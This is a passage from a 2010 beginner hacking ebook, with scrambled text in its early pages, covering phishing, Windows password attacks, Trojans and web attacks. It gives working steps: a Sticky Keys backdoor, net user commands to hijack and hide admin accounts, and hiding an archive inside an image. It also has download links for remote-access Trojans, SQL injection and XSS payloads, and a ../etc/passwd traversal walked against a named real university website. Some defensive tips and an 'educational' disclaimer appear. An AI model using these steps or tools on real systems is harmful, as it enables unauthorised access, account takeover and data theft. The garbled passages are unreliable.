that the legitimate organization already has. social security.co. causing all the original addressees to receive the reply. as a result of sending a message to mailing lists and not realizing that the list explodes to thousands of users. Also. Phishing The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surrendering private information that will be used for identity theft. Gmail. The Email directs the user to visit a Web site where they are asked to update personal information. It may also occur innocently. Email Password Hacking There is no specified attack available just to hack the password of Email accounts.hackingtech. We will cover many attacks by the workshop flows. it is not so easy to compromise the Email server like Yahoo. Email Password Hacking can be accomplished via some of the Client Side Attacks. Email spamming can be made worse if recipients reply to the Email. or as a result of a responder message (such as vacation(1)) that is setup incorrectly. etc.Hacking For Beginners – Manthan Desai 2010 Email Spamming Email Spamming is a variant of Bombing. is Bogus and set up only to steal the User's information. and bank account numbers. it refers to sending Email to hundreds or thousands of users (or to lists that expand to that many users). www. but at this time we will talk about the very famous 'Phishing attack'. We try to compromise the user and get the password of the Email account before it reaches the desired Email server. The Web site.tv Page 23 . such as passwords and credit card. however.
tv Page 24 .co. not by Clicking in any other Website or Email. As we all know the travelling of the Email. Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT. which is structured into fields. Any Email carrying a Link to Click and asking you to Login. Prevention against Phishing Read all the Email Carefully and Check if the Sender is Original Watch the Link Carefully before Clicking Always check the URL in the Browser before Signing IN to your Account Always Login to Your Accounts after opening the Trusted Websites. To get the information about the sender of the Email we first must know the structure of the Email. asking you to Login using your Username and Password. www. Each field has a name and a value.hackingtech.Hacking For Beginners – Manthan Desai 2010 Phishing scams could be Emails inviting you to join a Social Group. Emails containing some Information of your Interest and asking you to Login to Your Account. Each message has exactly one header. Email Tracing Tracing an Email means locating the Original Sender and Getting to know the IP address of the network from which the Email was actually generated. Header of the Email contains all the valuable information about the path and the original sender of the Email.
co. You will get Source code of the email.tv Page 25 .Hacking For Beginners – Manthan Desai 2010 For tracing an email Address You need to go to your email account and log into the email which you want to trace after that you have to find the header file of the email which is received by you.com and Find the location of the IP Address. go to the URL www.ip2location. Once you have the IP Address of the sender.hackingtech. For Rediffmail- For Yahoo mail- For Gmail- Now see from bottom to top and the first IP address you find is the IP address of the sender. www.
. Types of keyloggers Hardware keylogger Software keylogger Some Famous keyloggers Actual Spy Perfect Keylogger Family Keylogger Home Keylogger Soft Central Keylogger Adramax Keylogger www. Since Keystroke logging programs record every keystroke typed in via the keyboard. and phone numbers.co. credit card numbers. addresses. And from where he had sent the email. Keystroke loggers Keystroke Loggers (or Key loggers) intercept the Target's keystrokes and either saves them in a file to be read later. and private Email correspondence.. including passwords.hackingtech.tv Page 26 . they can capture a wide variety of confidential information.. or transmit them to a predetermined destination accessible to the Hacker. names..Hacking For Beginners – Manthan Desai 2010 And you are done we have traced the person.
Do Not Open Emails from strangers. Do Not Use any other's computer to check your Email. Properly configure the Security Question and Answer in the Email Account.tv Page 27 . Do not reveal your Passwords to your Friends or Mates.hackingtech.Hacking For Beginners – Manthan Desai 2010 Securing your Email account Always configure a Secondary Email Address for the recovery purpose. www.co. Take Care of the Phishing Links.
The password is sent in a nonreversible secret key format using a one-way hash function. If the key provided matches the one in the SAM. www. Windows Hacking and Security Security Architecture of Windows There are three components of Windows Security: LSA (Local Security Authority) SAM (Security Account Manager) SRM (Security Reference Monitor) LSA (Local Security Authority) LSA is the Central Part of NT Security. a person enters his name and password to the logon dialog. The LSA also maintains the local security policy. In Windows 2000. This information is passed to the LSA.tv Page 28 . The Local Security Authority or LSA is a key component of the logon process in both Windows NT and Windows 2000. During the local logon to a machine. the LSA is responsible for validating users for both local and remote logons.hackingtech. which then calls the appropriate authentication package. The LSA then uses these SIDs to generate the security access token. the SAM returns the users SID and the SIDs of any groups the user belongs to.Hacking For Beginners – Manthan Desai 2010 3. The LSA then queries the SAM database for the User's account information. It is also known as Security Subsystem.co.
you cannot convert back to the Clear Text. For example. In the SAM. Windows user account architecture User account passwords are contained in the SAM in the Hexadecimal Format called Hashes. When you make a New User Account with a Password.hackingtech. Windows Security Files are located at "C:\Windows\System32\Config\SAM" The moment operating system starts. The Security Reference Monitor enforces access validation and audit generation policy. SRM (Security Reference Monitor) The Security Reference Monitor is a security architecture component that is used to control user requests to access objects in the system. If the user name or passwords do not properly match any entry in the SAM. Any access to an object must first be validated by the SRM. so other services can start accessing the SAM-database. Windows 3. When the service has made the connection it announces to the system that the SAM-database is available. it gets stored in the SAM File.tv Page 29 . each user account can be assigned a Windows password which is in encrypted form. www. The reference monitor verifies the nature of the request against a table of allowable access types for each process on the system. If someone attempts to log on to the system and the user name and associated passwords match an entry in the SAM.co. if a user wants to access a specific file the SRM will be used to validate the request. This service is responsible for making the connection to the SAM database (Contains available user-accounts and groups). whereas the Windows NT line. the SAM file becomes inaccessible. a sequence of events takes place ultimately allowing that person access to the system.x and 9x operating systems were not built with a reference monitor. was designed with an entirely different architecture and does contain a reference monitor. which also includes Windows 2000 and Windows XP. The SRM enforces the access validation and audit generation. Windows NT forbids the direct access to objects. The SAM database can either be placed in the local registry or in the Active Directory (If available). an error message is returned requesting that the information be entered again. Once the Passwords converted in Hashes.Hacking For Beginners – Manthan Desai 2010 SAM (Security Account Manager) The Security Accounts Manager is a database in the Windows operating system (OS) that contains user names and passwords. For example. SAM is part of the registry and can be found on the hard disk.
Hacking For Beginners – Manthan Desai 2010 Cracking Windows User Account password Passwords are Stored and Transmitted in an encrypted form called a Hash.hackingtech.tv Page 30 . www. a hash is generated and compared to a stored hash. Passwords may be cracked manually or with automated tools such as a Brute-force method or the Rainbow Table attack.co. When a User logs on to a system and enters a password. If the entered and the stored hashes match. the user is authenticated (This is called the Challenge/Response).
co.Hacking For Beginners – Manthan Desai 2010 www.hackingtech.tv Page 31 .
www. And replace it. In the command prompt type "explorer.tv Page 32 .exe" and Hit Enter a desktop will open in the tab mode. give that error YES.co. Now we need to attack this file. And we suppose that the file opens then also we cannot see the passwords stored in it because they are encrypted in the form of HASHES. Now At the Login Screen Press SHIFT Key 5 times and a beep Sound will come and Command prompt will open. This is stored in a file named SAM It is shown in the picture above. And they and not be decrypted. But Another Attack – Go to C:\Windows\System32\ Copy the File cmd.hackingtech. But it is not impossible. Now You Are Done.Hacking For Beginners – Manthan Desai 2010 In this if we put the password and windows vey the password we entered on teen with the file in which the password is stored of ours. For this we need to open this file but it is not possible as it is in process by the computer from its start up.exe to desktop and rename it to sethc.exe Now copy the file sethc. We Need a Bootable CD named Hiren boot and Can Crack the Password.exe to C:\Windows\System32\ and will give an error.Use The Computer Unlimited…. Ad it is the hardest encryption done and decryption is not easy.
hackingtech.tv Page 33 . Net user administrator * 3) To make a new user account. Net user hacker /delete 5) To make a hidden account in computer. Net user hacker /add 4) To Delete the Existing user account.Hacking For Beginners – Manthan Desai 2010 Windows User Account Attack 1) To See all the account present on the computer Net user 2) To change the password without knowing the old password. Or the name of the account.co. Keep Hard Disk As 1st boot drive. Counter Measures of Windows Attack. then CD/DVD drive as 2nd boot device & Removable port as the 3rd boot device. And the above are to be executed in command prompt. 2) 3) www. (Put Lock). Put the BIOS password.To login to this Hidden Account Press Ctrl + Alt + Delete + Delete And give the hidden user name in the user name field and password respectively. Put the physical Lock behind the cabinet of PC. 1) Change the Boot Sequence in the BIOS setup.***** { Works only in windows XP} Net user hacker /add Net localgroup users hacker /delete Note: . And the hacker indicates the respective user name.
tv Page 34 .jpg www.rar finalnameofimage. To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open in a special way then you can open the hidden file behind the image. So to hide the file behind a image open CMD.hackingtech. 2) Now select a file to hide behind the image and make it in .exe 1) Select an image to be used for hiding file behind the image.co. With the help of the WinRAR. 4) And then type the following command. cd desktop Copy /b imagename.RAR format.jpg + filename. 3) And most important is that paste both the files on desktop and run the following command on the command prompt.Hacking For Beginners – Manthan Desai 2010 To hide a file behind an image.
rename.tv Page 35 .hackingtech.manthan on desktop. see properties. delete.co. And then open command prompt and then type the following command on the screen.Hacking For Beginners – Manthan Desai 2010 And then hit enter the file will be created with the file final file name of the image. For example. www. To make such a folder you need to make a folder with any name. Make a Private Folder To make Private folder which nobody can open.
hackingtech.tv Page 36 .co.Hacking For Beginners – Manthan Desai 2010 Then type Cd desktop Cacls folder /E /P everyone:n And hit enter the folder is locked To open the folder just: replace with: f And the folder is opened www.
tv Page 37 .co.hackingtech.Hacking For Beginners – Manthan Desai 2010 To run net user in Vista and Windows 7 Go to Start > Type CMD in Search Box Right Click on CMD Icon and choose the option "Run as administrator" www.
tv Page 38 . There are tools available to perform the Brute force attack on the Windows SAM File. job title.Hacking For Beginners – Manthan Desai 2010 Brute Force Attack Brute force password guessing is just what it sounds like: trying a random approach by attempting different passwords and hoping that one works. hobbies. Another one is Sam Inside. www.hackingtech. Brute force randomly generates passwords and their associated hashes. or other similar items.co. Some logic can be applied by trying passwords related to the person's name. Most famous tool available for Windows User Account Password Brute forcing is Cain and Abel.
called a rainbow table. the table. We can use the Live CD to crack the Windows password using the Rainbow table attack technique.tv Page 39 . which will then normally only take a few seconds. is used to crack the password.Hacking For Beginners – Manthan Desai 2010 Rainbow Table Attack Rainbow Table Attack trades off the time-consuming process of creating all possible password hashes by building a table of hashes in advance of the actual crack.hackingtech. After this process is finished. Oph Crack www.co. Most famous Live CD available is Oph Crack.
Sticky Keys application can be used as the Backdoor in Windows Operating System. After this one can hit the Shift Key 5 times on the User Login Screen and will get the Command Prompt right there.Hacking For Beginners – Manthan Desai 2010 Counter Measures for Windows Attack Creating Backdoors for windows Creating Hidden Accounts. Press ALT+CTRL+DEL combination 2 times to get the 'Classic Windows User Login Screen' Type the Username as Hidden user and Hit Enter.tv Page 40 . Net User command can be used to modify User Accounts thereafter.EXE' in C:\Windows\System32 Folder.hackingtech. Use the Net User Command to Create a Hidden Account in Windows: Net User Hidden user /add And then use the Command Net Local group Users Hidden user /delete Log Off the Current User. Command Prompt file 'CMD.EXE' can be renamed to 'SETHC. www. Sticky Keys Backdoor. you will get Logged In "This trick will not work in Windows Vista and Windows 7".co.
It should be configured as Hard Disk as the First Boot Device. This will protect your computer from the attacking Live CDs.co. You may press Del or F2 Key at the System Boot to go to the BIOS Setup.tv Page 41 .Hacking For Beginners – Manthan Desai 2010 Change the Boot Sequence You should change the boot sequence in the BIOS so that your computer is not configured to boot from the CD first. www.hackingtech.
co.Hacking For Beginners – Manthan Desai 2010 4. Dangers created by Trojans. Detection of Trojan on your computer and their prevention to safeguard your system and your data. videos. computer system optimizers. Trojans is a program that appears to perform a desirable and necessary function but that.hackingtech. because of hidden and unauthorized code. etc. or they may be applications like songs.tv Page 42 . registry cleaners. performs functions unknown and unwanted by the user. How many types of Trojans are there. Trojans comes on the backs of other programs and are installed on a system without the User's knowledge. how Trojans are attached behind other applications and finally the most important. Knowing the Trojan A Trojan is a malicious program misguided as some very important application. Trojans and their counterparts are important pieces of the Hacker's tool-kit. system virus scanners. how do they destroy you and your data.. it may be a software like monitoring program. screen savers. pictures. Trojans in Brief This tutorial will include the understanding concept of Trojan. www. These downloads are fake programs which seems to be a original application. Trojans are malicious pieces of code used to install hacking software on a target system and aid the Hacker in gaining and retaining access to that system. how they can come to your computer.
Remote Administration Trojans: There are Remote Access Trojans which are used to control the Victim's computer remotely. but once executed the Trojan will install itself in the system automatically.http://u. the attacker can connect to that computer and can control it.tv Page 43 . manage processes. you will find the application running or you might get an error. They can cause data theft and loss. 3.hackingtech.co. then find the data on the computer and send it to the attacker automatically. watch screen images. where it can be destructive and insidious.Hacking For Beginners – Manthan Desai 2010 You just need to execute that software or application. intercept keystrokes. Data Stealing Trojans: Then there are Data Sending Trojans which compromised the data in the Victim's computer.to/ZSSk www. Once the Remote Access Trojan is installed in the system. remotely run commands. and system crashes or slowdowns. Many Trojans are used to manipulate files on the victim computer. they can also be used as launching points for other attacks against your system. and restart or shut down infected hosts. Some famous Trojans Beast Download . the program then has system-level access on the target system. In most of the cases the Trojan comes as a Remote Administration Tools which turns the Victim's computer into a server which can controlled remotely. Security Disabler Trojan: There are Security software disablers Trojans which are used to stop antivirus software running in the Victim's computer. Once installed on a system. 2. Different Types of Trojans 1.
to/1SSk Pro Rat Download it from – http://u.hackingtech.co.to/xCSk www.to/hCSk Net Bus Download it from – http://u.http://u.tv Page 44 .Hacking For Beginners – Manthan Desai 2010 Back Orifice Download .
to/FCWk Components of Trojans Trojan consists of two parts: 1.hackingtech. www. A Client component 2.co. A Server component.tv Page 45 . For the Trojan to function as a backdoor.to/AyWk Sub Seven Download it from – http://u.Hacking For Beginners – Manthan Desai 2010 Girl Friend Download it from – http://u. One which resides on the Victim's computer is called the server part of the Trojan and the one which is on the attacker's computer is called the client Part of the Trojan. the server Component has to be installed on the Victim's machine.
hackingtech. Wrapper A Wrapper is a program used to combine two or more executables into a single packaged program.tv Page 46 . This way. like a game.Hacking For Beginners – Manthan Desai 2010 1. www. Hackers use Wrappers to bind the Server part of the Software behind any image or any other file. the executable code that does the real damage.co. the user doesn't notice the slower processing that occurs while the Trojan is being installed on the system—the user only sees the legitimate application being installed. Wrappers are also known as Binders. Server component of the Trojan opens a port in the Victim's computer and invites the Attacker to connect and administrate the computer. The wrapper attaches a harmless executable. Client component of the Trojan tries to connect the Victim's computer and administrate the computer without the permission of the User. Generally. so that it appears to be a harmless file. to a Trojan's payload. 2. games or other animated installations are used as wrappers because they entertain the user while the Trojan in being installed.
tv Page 47 . background. the internal server tries to access the external master system to pick up commands. One of those applications will be a process started by the Server Trojan. • CD-ROM drawers Opening or Closing. Reverse WWW shell uses standard HTTP. • Screen display flipping upside down. Actions/symptoms such as.co.it looks like a client is browsing the Web from the internal network Now the final part …. One thing which you can do is to check the applications which are making network connections with other computers.hackingtech. If the attacker has typed something into the master system. www. • Programs starting and running without the User's initiation. It's dangerous because it's difficult to detect . The Hacker can install a simple Trojan program on a system on the internal network.Hacking For Beginners – Manthan Desai 2010 Mode of Transmission for Trojans Reverse Connection in Trojans Reverse-connecting Trojans let an attacker access a machine on the internal network from the outside. • Wallpaper. or screen saver settings changing by themselves. Any action that is suspicious or not initiated by the user can be an indication of a Trojan attack. • Browser program opening strange or unexpected websites All above are indications of a Trojan attack. this command is retrieved and executed on the internal system. On a regular basis (usually every 60 seconds). Detection and Removal of Trojans The unusual behavior of system is usually an indication of a Trojan attack.
• Once you have got hold of the Trojan application. TCP (Transmission Control Protocol) view • TCP View is a Windows program that will show you detailed listings of all TCP (Transmission Control Protocol) and UDP (User Datagram Protocol) endpoints on your system. These tools can automatically scan hard drives on startup to detect backdoor and Trojan programs before they can cause damage. www. You can always Right Click on the check the properties of the application.co. because many freeware removal tools can further infect the system. • On Windows NT. including the local and remote addresses and state of TCP connections. 2000. As there are some Trojans who themselves change their name as per the system process which runs on the computer and you cannot differentiate between the Trojan and the original system process in the task manager processes tab. so you need PROCESS EXPLORER.hackingtech. but you can do so with commercially available tools.Hacking For Beginners – Manthan Desai 2010 You also can use the software named process explorer which monitors the processes executed on the computer with its original name and the file name.tv Page 48 . This will make you recover from the attack of Trojan. you can Kill the active connection and the running process and then delete the physical application file. it's more difficult to clean. It's important to use commercial applications to clean a system instead of freeware tools. and XP. TCP View also reports the name of the process that owns the endpoint. The key to preventing Trojans and backdoors from being installed on a system is to not to install applications downloaded from the Internet or open Email attachments from parties you don't know. In addition. • Active connections will appear in Green Color. port monitoring tools can identify ports that have been opened or files that have changed. Many systems administrators don't give users the system permissions necessary to install programs on system for the very same reason. Countermeasures for Trojan attacks Most commercial antivirus programs have Anti-Trojan capabilities as well as spy ware detection and removal functionality. Once a system is infected.
Scripts.tv Page 49 . this sends a request to the server whose domain name is hackingtech.co. So you type that URL into your browser and press enter. surfing the Web. • Served content usually is HTML documents and linked objects Images. • Web browser forms a connection to a Web server.tv. www.hackingtech. Text.co. no matter where in the world that URL lives. For example. etc. • Software to setup a Web Server: – Apache – IIS The Basic Process: How Web servers work Let's say that you are sitting at your computer. Attacks on Web servers and Security Introduction to Web Servers A Web Server is a program which is configured to serve Web Pages using the Hyper Text Transfer Protocol (HTTP). The server then fetches the page named mobile. Setting Up a Web Server Any computer can be turned into a Web server by installing server software and connecting the machine to the Internet. • Web server has an IP address and possibly a domain name.co.hackingtech. the page pops up on your screen. requests a page and receives it. • And magically.tv/mobile. if you enter the URL http://www.Hacking For Beginners – Manthan Desai 2010 5.html and sends it to your browser.html in your browser. There are many Web server software applications available.
co.hackingtech.Hacking For Beginners – Manthan Desai 2010 Attacks on Web servers • Web Ripping • Google Hacking • SQL Injection • PHP Remote Code Execution • Cross Site Scripting • Directory Transversal Attacks Web Ripping • Web Ripping is finding and extracting pictures and other media files from specified website URLs and save them to your hard drive.tv Page 50 . • We can use Black Windows Web ripper for web ripping. www. • Web Ripping is the ability to copy the structure of a Web site to a local disk and obtain a complete profile of the site and all its files and links.
• You can look for the particular File types.tv Page 51 . Some of the more popular examples are finding specific versions of Vulnerable Web Applications. Even you can find out the IP based CCTV Cameras. Google is a Search Engine. Password files and Directories. • Google keeps snapshots of pages it has crawled that we can access via the Cached link on the search results page. • Google hacking involves using Advance Search Operators in the Google search engine to locate specific strings of text within search results.hackingtech.Hacking For Beginners – Manthan Desai 2010 Google Hacking • As we all know. www.co.
This Search will give you the List of all the web pages from the website hackingtech.tv FileType: Searching for the files of specific type. This Search will give you the List of all the website link containing the MS Word Document of the name hacking.co. www.hackingtech.co. Site: To Narrow the Search of specific Website.Hacking For Beginners – Manthan Desai 2010 Intitle: Search For the Text In The title of the websites This Search will give you the List of all the websites with Title Hacking.tv Page 52 .
This Search will give you the List of all the website links for the CCTV cameras over the World.hackingtech.txt file exists that prevents them from accessing certain pages. they check to see if a robots. • You need a robots.co. If you want search engines to index everything in your site.txt file.txt file only if your site includes content that you don't want search engines to catch.txt file restricts access to your site by search engine robots that crawls the web. The More commands for the CCTV cameras Will be explained in the later part of the book. and before access pages of a site. www. you don't need a robots. Protecting Your Files from Google • A robots. Example of Simple ROBOT.Hacking For Beginners – Manthan Desai 2010 To Find the CCTV all over the world. These bots are automated.tv Page 53 .txt file (not even an empty one).
Recently. Whereas the results page.co. Example: Search Results for "XSS Vulnerability" www. Example of a Cross Site Scripting attack As a simple example. The ratio of XSS attack is very large as compared to other attacks performed.hackingtech. • An exploited Cross-Site Scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. although this usage has been largely discontinued. Examples of such code include HTML code and client-side scripts. vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits.tv Page 54 . Cross site scripting was originally referred to as CSS. displays both the matched results and the text you are looking for.Hacking For Beginners – Manthan Desai 2010 Cross Site Scripting (XSS) • Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. The query screen of the search engine is a simple single field form with a submit button. imagine a search engine site which is open to an XSS attack.
Each "." www. A Web Vulnerability Scanner crawl your entire website and automatically checks for Cross Site Scripting vulnerabilities. In this case the URL would look like: http://test.co. search engines generally leave the entered variables in the URL address. the server will return with a file that hasn't been properly validated.php?q=XSS%20 Vulnerability Next we try to send the following query to the search engine: <script type="text/javascript"> alert ('this is an XSS Vulnerability') </script> By submitting the query to search..hackingtech. the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability. use a Web Vulnerability Scanner. How to check for Cross site scripting vulnerabilities To check for Cross site scripting vulnerabilities. Directory Traversal Attack • Directory traversal attacks allow malicious users to literally "traverse" the directory and bypass the access control list to gain access to restricted files and even manipulate data./" directives to the string. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities.searchengine. it is encoded and the resulting URL would be something like: http://test.com/search. • These attacks are HTTP exploits that begin with a simple GET or other type of HTTP request from a dynamic page.searchengine.php./" instructs the page to "go up one directory. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. and chances are it is.php?q=%3Cscript%3 Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2 9%3C%2Fscript%3E Upon loading the results page.tv Page 55 .Hacking For Beginners – Manthan Desai 2010 To be able to bookmark pages... If your Web site is vulnerable. A malicious user will then send a request for a file one or more directories up by adding one or more ". You Will Be explained more about this attack in the later part of the book in website hacking category.com/search.
co. The file etc/passwd contains the login names of users and even passwords too.in/chitkara/chitkarauniversity.sbin placed in 'etc' directory. But obviously.chitkara./etc/passwd www. all an attacker needs is a web browser and some knowledge on where to blindly find any default files and directories on the system.in/chitkara/chitkarauniversity. profile. Let's type this in URL field and press enter http://www.B. There is a directory 'etc' on unix/linux which contains configuration files of programs that run on system.in/chitkara/chitkarauniversity.edu.hackingtech.tv Page 56 .php?page=etc/passwd This will search the directory 'etc' in F. shadow. We do not know the actual names and contents of directories except 'etc' which is default name . We are in directory in F accessing the web pages of website.chitkara. there is nothing like this in F.edu.chitkara. The following example will make clear everything Visit this website vulnerable to directory transversal attack http://www. So I have marked them as A. so it will return nothing now type http://www.php?page=.C.php This web server is running on UNIX like operating system.Hacking For Beginners – Manthan Desai Example of a directory traversal attack via web application code 2010 In order to perform a directory traversal attack.php?page=notification. Lets try to access this file on web server by stepping out of the root directory. Some of the files are passwd. Carefully see the position of directories placed on the web server.edu..E or whatever.
Hacking For Beginners – Manthan Desai
Now this will step up one directory (to directory E ) and look for 'etc' but again it will return nothing Now type http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../etc/passwd Now this will step up two directories (to directory D) and look for 'etc' but again it will return nothing. So by proceeding like this, we go for this URL http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd It takes us 5 directories up to the main drive and then to 'etc' directory and show us contents of 'passwd' file. To understand the contents of 'passwd' file, visit http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/
You can also view etc/profile; etc/services and many others files like backup files which may contain sensitive data. Some files like etc/shadow may not be accessible because they are accessible only by privileged users.
If proc/self/environ would be accessible; you might upload a shell on server which is called as Local File Inclusion.
Database Servers
• The Database server is a key component in a client/server environment. Specially the Websites which have a User Login Architecture. • Database Server holds the Database Management System (DBMS) and the Data Records. Upon requests from the client machines, it searches the database for selected records and passes them back over the network. • Software to setup a Database Server: – Oracle – SQL Server – MySql www.hackingtech.co.tv Page 57
Hacking For Beginners – Manthan Desai
Login Process on the websites
Let's say that you are sitting at your computer, surfing the Web, and you open a Website to Login to your account. 1: You type in the Login Username and Password and clicks on Sign in and you get in to your account. 2: Web Server receives the Username and Password and forwards it to the Database server. 3: Database server receives the Username and Password from the Web Server and checks its tables for that Username and Password and sends the result of the authentication to the Web Server. 4: Web Server receives the Authentication result from the Database Server and on the basis of the result, redirects the User to the proper Webpage. • If the Authentication is True, User gets signed in to the Account, and if it fails User is asked to Sign In again.
SQL Injection
Page 58
Hacking For Beginners – Manthan Desai
• A SQL injection attack exploits vulnerabilities in a web server database that allow the attacker to gain access to the database and read, modify, or delete information. • An example of a SQL injection attack is making the condition true by giving the identical value to a web page. These values can be inserted into a login as follows: • Login: 1' or '1'='1 and Password= 1' or '1'='1 • Login: 1' or '1'='1';-• When the Username argument is evaluated, '1'='1' will assess to TRUE, and an authentic username will be returned. The Systametic Execution of SQL injection is explained in the image below.
Input validation on the SQL Injection
• There are measures that can be applied to mitigate SQL injection attacks. • Web developer can check whether some suspicious characters are sent from the Login Page like ', ", ;, -- , etc • Always store the Passwords in the Database server in the Encrypted Form. • Use of these practices does not guarantee that SQL injection can be completely eliminated, but they will make it more difficult for Hackers to conduct these attacks.
Page 59
Hacking For Beginners – Manthan Desai
Input Validation can help prevent
PHP Injection: Placing PHP backdoors
• This attack provides the means for a Hacker to execute his or her system level code on a target web server. With this capability, an attacker can compromise the web server and access files with the same rights as the server system software. • For example, a number of PHP programs contain a vulnerability that could enable the transfer of unchecked user commands to the eval ( ) function.
Page 60
Hacking For Beginners – Manthan Desai
PHP Eval() function
PHP Remote code Execution
Page 61
htacess How Attackers Hide Them While Attacking Proxy Servers • A Proxy Server is a server that acts as an intermediary between a workstation user and the Internet so that the enterprise can ensure security. • Please See the diagram for better understanding. but do not have root access on the server system.co.tv Page 62 . Configuring .Hacking For Beginners – Manthan Desai 2010 Directory Access controls • Htaccess files provide a way to make configuration changes on a per-directory basis. • Hackers generally use the Proxy server on the Internet to make their Identity invisible to the target. www. • So They hide their IP address by using the proxy server and make an anonymous brousing over internet. • Htaccess files should be used in a case where the content providers need to make configuration changes to the server on a per-directory basis.hackingtech. administrative control and caching service.
• If an Attacker finds that he is blocked from accessing a Website.tv Page 63 .hackingtech. www.Hacking For Beginners – Manthan Desai 2010 Types of Proxy Servers • Web Proxy • Anonymous Proxy Server Web Proxy Server • A Proxy site is a web page which allows a user to browse other web sites. he will use any of web proxy sites to get bypass the block.co.
• In Anonymous Proxy.tv Page 64 . "Do not use this hack trick in any criminal activities and please do not destroy any ones account this is for educational purpose only". You have to configure that IP and Port with your Web Browser and you will be surfing anonymously.co. you get an IP Address and a Port Number.hackingtech.Hacking For Beginners – Manthan Desai 2010 Anonymous Proxy Server • An Anonymous proxy is a proxy server designed to protect the privacy and anonymity of web browsers from web site operators. www.
A Wireless Local Area Network (WLAN) allows workers to access digital resources without being locked to their desks.tv Page 65 . Desktops. Adding a wireless network to an organization's internal LAN may open a backdoor to the existing wired network. For the same reason that WLANs are convenient. The IEEE 802. The popularity in Wireless Technology is driven by two major factors: convenience and cost. Printers etc is implemented without the use of wires. such as laptops and personal digital assistants.g. Laptops.11 specifies an over-the-air interface between a mobile device wireless client and a base station or between two mobile device wireless clients. The IEEE accepted the specification in 1997.co.11 standard refers to a family of specifications for wireless local area networks (WLANs) developed by a working group of the Institute of Electrical and Electronics Engineers (IEEE). with the focus on deployment in large enterprise networking environments. and by users' desire for continuous network connections without physically having to plug into wired systems.Hacking For Beginners – Manthan Desai 2010 6. Demand for wireless access to LANs is fueled by the growth of mobile computing devices.hackingtech. their open broadcast infrastructure. Wireless hacking Wireless network refers to any type of computer network which is wireless. and is commonly associated with a network whose interconnections between nodes e. This standards effort began in 1989. Mobile users can connect to a Local Area Network (LAN) through a Wireless (Radio) connection. they are extremely vulnerable to intrusion and exploitation. effectively a wireless equivalent to Ethernet. Standard 802. Wireless Standards www.
• Channel: It is the frequency at with the Wireless Signal travels through air. This is a unique 48 bit key provided by the manufacturer of the device. • Data Packets: These are the packets which sent and received for the transfer of data between Wireless Access Point and Client systems.tv Page 66 . • Beacons: These are the Wireless Packets which are broadcasted to maintain the connectivity with the Wireless Access Point and Client systems.hackingtech. All the data communicated between two Computers travels in the form of Data Packets. www. Like the Wireless Routers or Switches. • BSSID (Basic Service Set Identifier): A BSSID is the MAC Address (Media Access Control) or Physical Address of the Wireless Access Point or the Wireles Router. •SSID (Service Set Identifier): An SSID is the name of a wireless local area network (WLAN). E. It can be in the form of Hexadecimal i. All the data communicated between two Computers travels in the form of Data Packets. SSID is also known as ESSID (Extended Service Set Identifier).co. 0-9 .Hacking For Beginners – Manthan Desai 2010 • WAP (Wireless Access Point): Wireless Access Point is the point from where the Wireless network are generated. • Data Packets: These are the packets which sent and received for the transfer of data between Wireless Access Point and Client systems. All wireless devices on a WLAN must employ the same SSID in order to communicate with each other.g. A-F. The Wireless Access point broadcasts beacon frames from time to time to check connectivity with the systems.e. 00:A1:CB:12:54:9F • For checking your card's MAC Address: Start > Run > CMD Write "getmac" in Command Prompt.
If confidentiality is desired. All access points often broadcast the SSID in order to provide clients with a list of networks to be accessed.co. Good security policy is to disable SSID broadcasting entirely. data are transferred in the clear by default. SSID Solution Wireless equipment manufacturers use a default Service Set ID (SSID) in order to identify the network to wireless clients. that does not identify the company or location.hackingtech. auditing. •Privacy: In the 802.tv Page 67 . Only those devices with a valid shared key will be allowed to be associated with the access point. If a network listing is a requirement for network users then changing the SSID to something other than the default. such as in Roaming. the WEP option encrypts data before it is sent wirelessly. a shared key is configured into the access point and its wireless clients. this serves to let potential intruders identify the network they wish to attack. controlling access to the network.Hacking For Beginners – Manthan Desai 2010 Services provided by Wireless Networks • Association: It establishes wireless links between wireless clients and access points in infrastructure networks. a laptop with a wireless Ethernet card) and a base station access point to protect the confidentiality of information being transmitted on the LAN. Unfortunately. If the SSID is set to the default manufacturer setting it often means that the additional configuration settings (such as passwords) are at their defaults as well. User security awareness policies should be implemented. Standard Wireless Security Solution Wireless Security policies are developed or enhanced to accommodate the wireless environment.11 Wireless LAN Standard uses a secret key that is shared between a mobile station (for example. physically securing access points. www.11 option. and the procedures for detecting and handling rogue access points or networks. • Re-association: This action takes place in addition to association when a wireless client moves from one Basic Service Set (BSS) to another. encrypting. The WEP algorithm of the 802.11 standard. Primary issues will be ownership and control of the wireless network. • Authentication: This process proves a client's identity through the use of the 802. is a must. Wired Equivalent Privacy (WEP). Be sure to change all other default settings as well to reduce the risk of a successful attack. In WEP.
Client computers are identified by a unique MAC address of its IEEE 802. To secure an access point using MAC address filtering. each access point must have a list of authorized client MAC address in its access control list.co. Some access point devices also allow for a table of permitted and denied MAC addresses.hackingtech.tv Page 68 . such as a MAC address. which would allow a device administrator to specify the exact remote devices that are authorized to make use of the wireless service.11 access point devices have the ability to restrict access to only those devices that are aware of a specific identification value.11 network card.Hacking For Beginners – Manthan Desai 2010 MAC address filtering Some 802. www. We can Prevent or Permit machines on the behalf of MAC Addresses.
